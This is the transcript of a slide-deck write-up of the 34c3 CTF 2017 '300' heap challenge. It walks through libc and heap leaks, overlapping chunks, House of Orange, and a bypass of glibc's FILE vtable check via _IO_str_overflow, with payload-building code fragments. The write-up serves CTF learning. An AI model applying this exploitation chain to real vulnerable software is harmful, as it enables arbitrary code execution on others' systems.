Upgrade to Pro — share decks privately, control downloads, hide ads and more …

300 - 34c3 ctf 2017 writeup

Dhaval Kapil
January 29, 2018

300 - 34c3 ctf 2017 writeup

Dhaval Kapil

January 29, 2018
Tweet

More Decks by Dhaval Kapil

Other Decks in Education

Transcript

  1. 300 34c3 2017

  2. Challenge overview

  3. Challenge overview • _QWORD allocs[10]; • // Global array of

    10 pointers (referred to as slots) • Operations: alloc(), write(), print(), free()
  4. Challenge overview • User enters ‘i’, i > 0 &&

    i < 10 • alloc(int i): allocs[i] = malloc(0x300); • write(int i): read(0, allocs[i], 0x300); • print(int i): write(1, allocs[i], strlen(allocs[i])); • free(int i): free(allocs[i]); No other check apart from ‘i’.
  5. Libc leaking • Read a free chunk in the unsorted

    bin • alloc(0) • alloc(1) • free(0) • read(0)
  6. Heap address leaking • Read a chunk in the unsorted

    bin • alloc(0) • alloc(1) • alloc(2) • alloc(3) • free(2) • free(0) • read(0)
  7. Create overlapping chunks • alloc(0) • alloc(1) • alloc(2) •

    free(1) // Goes into unsorted bin Create a fake chunk header at the end of 0th slot • payload = "a"*0x2e0 + p64(0) + p64(0x311) + \ • p64(heap_base + 0x310) + \ • p64(libc_leak) • write(0, payload)
  8. Create overlapping chunks Use after free in 1st slot to

    modify linked list pointers in unsorted bin • write(1, p64(libc_leak) + p64(heap_base + 0x2f0)) Unsorted bin now appears to have 2 chunks, the original 1st chunk and the fake chunk at the end of 0th chunk • alloc(1) // The original 1st slot chunk • alloc(4) # The fake chunk, just before 1st chunk • free(1) # Insert the original 1st chunk back into unsorted bin
  9. House of Orange Overwrite the size of free chunk to

    0x61, modify pointers to point to ‘io_list_all_addr - 0x10’. Also, prepare a fake ‘FILE’ structure. • write(4, .. + p64(0x61) + .. + p64(io_list_all_addr - 0x10) + ..) Allocate another chunk, since size of chunk unsorted bin != 0x300, it will go to small bin, triggering house of orange • alloc(5)
  10. Problem • Libc being used is recent - vtable check.

    • Commit: https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19 b75c4fdefbe65fcd5f0a90588ba51 • IO_validate_vtable: https://code.woboq.org/userspace/glibc/libio/libioP.h.html#IO_validate_vtable • _IO_vtable_check: https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check
  11. Idea • We can make our fake vtable point to

    anywhere inside ‘__libc_IO_vtables’ without triggering any check • ‘_IO_str_jumps’ section is inside this section and contains two functions fitting our purpose: ‘_IO_str_overflow’ and ‘_IO_wstr_finish’
  12. _IO_str_overflow (_IO_FILE *fp, int c) Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow Provided a few

    checks on ‘fp’ pass, this leads to: • (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); fp->_s._allocate_buffer = (&fp + 0xe0) (just after the ‘vtable’ pointer)
  13. First param: new_size • #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) •

    size_t old_blen = _IO_blen (fp); • _IO_size_t new_size = 2 * old_blen + 100; Check to be passed: • pos = fp->_IO_write_ptr - fp->_IO_write_base; • if (pos >= (_IO_size_t) (_IO_blen (fp))) To pass ‘x’ as param, set: • _IO_write_base and _IO_buf_base = 0 • _IO_write_ptr and _IO_buf_end = (x-100)/2
  14. Exploit • # Craft file struct • file_struct = pack_file(_IO_buf_base

    = 0, • _IO_buf_end = (rdi-100)/2, • _IO_write_ptr = (rdi-100)/2, • _IO_write_base = 0, • _lock = bin.symbols['fake_file'] + 0x80) • # vtable pointer • file_struct += p64(fake_vtable_addr) • # (*((_IO_strfile *) fp)->_s._allocate_buffer) • file_struct += p64(rip)
  15. Conclusion If we have control over a few additional fields

    in the FILE structure, we can still have control `rip` as well as `rdi` (the first parameter) despite the recent vtable protection.
  16. https://github.com/DhavalKapil/ctf-writeups/blob/master/34c3ctf-2017/300/exploit.p y [Exploit]